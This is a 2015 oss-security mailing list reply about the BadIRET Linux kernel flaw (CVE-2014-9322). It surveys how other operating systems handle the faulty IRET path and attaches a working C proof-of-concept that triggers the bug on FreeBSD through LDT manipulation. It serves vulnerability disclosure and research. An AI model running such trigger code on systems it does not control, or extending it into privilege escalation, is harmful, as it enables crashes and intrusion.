Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Wed, 8 Jul 2015 17:34:48 -0700
From: Andy Lutomirski <luto@...capital.net>
To: oss-security@...ts.openwall.com
Subject: Re: Follow-up on Exploiting "BadIRET" vulnerability (CVE-2014-9322)

On 07/04/2015 12:23 AM, Adam Zabrocki wrote:
> Hi,
>
> The journey into CVE-2014-9322 is not straightforward but it is worth to spend some time on it and analyze all available information. I will try my best...
>
>
> 1) Introduction - non-technical (almost)
>
> Everything starts from the CVE-2014-9090. This vulnerability was discovered by Andy Lutomirski which allows you (quoting MITRE):
>
> "The do_double_fault function in arch/x86/kernel/traps.c in the Linux kernel through 3.17.4 does not properly handle faults associated with the Stack Segment (SS) segment register, which allows local users to cause a denial of service (panic) (...)"
>
> which essentially may results in local DoS attack. It doesn't sounds so critical from the defender's point of view (but still it takes attention especially from the nature of vulnerability point of view) neither from the attackers perspective. Mainly because of the potential limited benefits after successful exploitation.
>
> The "fun" starts after Borislav Petkov asked some questions about CVE-2014-9090. Andy Lutomirski discovered another vulnerability in the same functionality which was masked by first one. (Un)fortunately this time it was very serious (I would say critical) flaw. Linux kernel does not properly handle faults associated with the Stack Segment (SS) register in the x86 architecture. Quoiting MITRE again:
>
> "(...) allows local users to gain privileges by triggering an IRET instruction that leads to access to a GS Base address from the wrong space."
>

Good writeup.

For what it's worth, there are two issues that combine to make the 
BadIRET bug interesting.

1. Linux mishandled #SS during IRET.  IRET can fail due to #SS, #NP, or 
#GP.  All x86_64 OS authors seem to have realized that #GP is possible, 
but #SS and #NP are easy to overlook.

2. Linux gives flexible enough control over the LDT to cause IRET to 
fail with #SS.  This is not a bug -- it just means that bug #1 matters. 
  (Linux used to allow this attack through the GDT as well, but I fixed 
that separately.)

One might reasonably wonder whether other OSes are affected by #1 or, 
more severely, by #1 and #2.  Here's my summary from memory:

FreeBSD was fully vulnerable.  See the attachment.  They seem to have 
fixed it, but I can't find an advisory.

OpenBSD appears to have bug #1 (or did, anyway -- I haven't checked 
recently), but AFAICT there is no way to modify the GDT or LDT at all on 
OpenBSD, so #2 isn't present and exploitation is impossible.

I think that Darwin had bug #1 but fixed it before I tried to exploit it 
(not sure when).  I don't remember whether Darwin has #2.

OpenSolaris had #1 but, due to a whole pile of complicated 
double-checks, I couldn't find any way to get #2, despite the fact that 
fairly extensive descriptor manipulation is possible.

I don't know about Windows.

Xen is unusual and doesn't seem to use SWAPGS, so the underlying issue 
doesn't exist.  That doesn't rule out the possibility of other bugs due 
to #NP or #SS, but Xen seems to survive my Linux test case.

I didn't check NetBSD, DragonFlyBSD, Mach, Hurd, or any of the L4 variants.

ESX could be an interesting target, although this would only make sense 
as part of an exploit chain or if paravirtual guests still exist and are 
enabled.

--Andy

/*
 * Copyright (c) 2014-2015 Andy Lutomirski
 * GPL v2
 */

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <err.h>
#include <machine/segments.h>
#include <machine/sysarch.h>

static unsigned short GDT3(int idx)
{
	return (idx << 3) | 3;
}

static unsigned short LDT3(int idx)
{
	return (idx << 3) | 7;
}

static void do_it(void)
{
	int ax;
	int idx;
	unsigned short hack_ss, final_ss;

	/*
	 * Make a valid descriptor
	 */
	union descriptor desc;
	memset(&desc, 0, sizeof(desc));
	desc.sd.sd_lolimit = 0xffff;
	desc.sd.sd_type = SDT_MEMRWA;
	desc.sd.sd_dpl = 3;
	desc.sd.sd_p = 1;
	desc.sd.sd_hilimit = 0xf;
	desc.sd.sd_gran = 1;
	desc.sd.sd_def32 = 1;
	idx = i386_set_ldt(LDT_AUTO_ALLOC, &desc, 1);
	if (idx < 0)
	  	err(1, "i386_set_ldt");

	printf("+ Allocated LDT index %d\n", idx);
	hack_ss = LDT3(idx);

	/* valid but not present */
	desc.sd.sd_p = 0;

	printf("+ Dry run (set SS to 0x%hx)... ", hack_ss);
	fflush(stdout);
	asm volatile ("mov %0,%%ss" : : "rm" (hack_ss));
	printf("ok\n");
	
	printf("+ Here goes... ");
	fflush(stdout);
	
	asm volatile ("mov %0,%%ss" : : "rm" (hack_ss));

	/*
	 * No syscalls before the int80 -- use of syscall or sysenter will
	 * wipe SS.
	asm volatile ("int $0x80"
		      : "=a" (ax)
		      : "a" (SYS_modify_ldt), "b" (1), "c" (&desc),
			"d" (sizeof desc));
	 */
	if (i386_set_ldt(idx, &desc, 1) < 0) {
		printf("\n");
		err(1, "i386_set_ldt");
	}

	asm volatile ("mov %%ss,%0" : "=rm" (final_ss));
	printf("\n+ We survived with SS=0x%hx.  That shouldn't have happened.\n",
		final_ss);
}

int main(int argc, char **argv)
{
	do_it();
	return 0;
}

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Powered by Openwall GNU/*/Linux - Powered by OpenVZ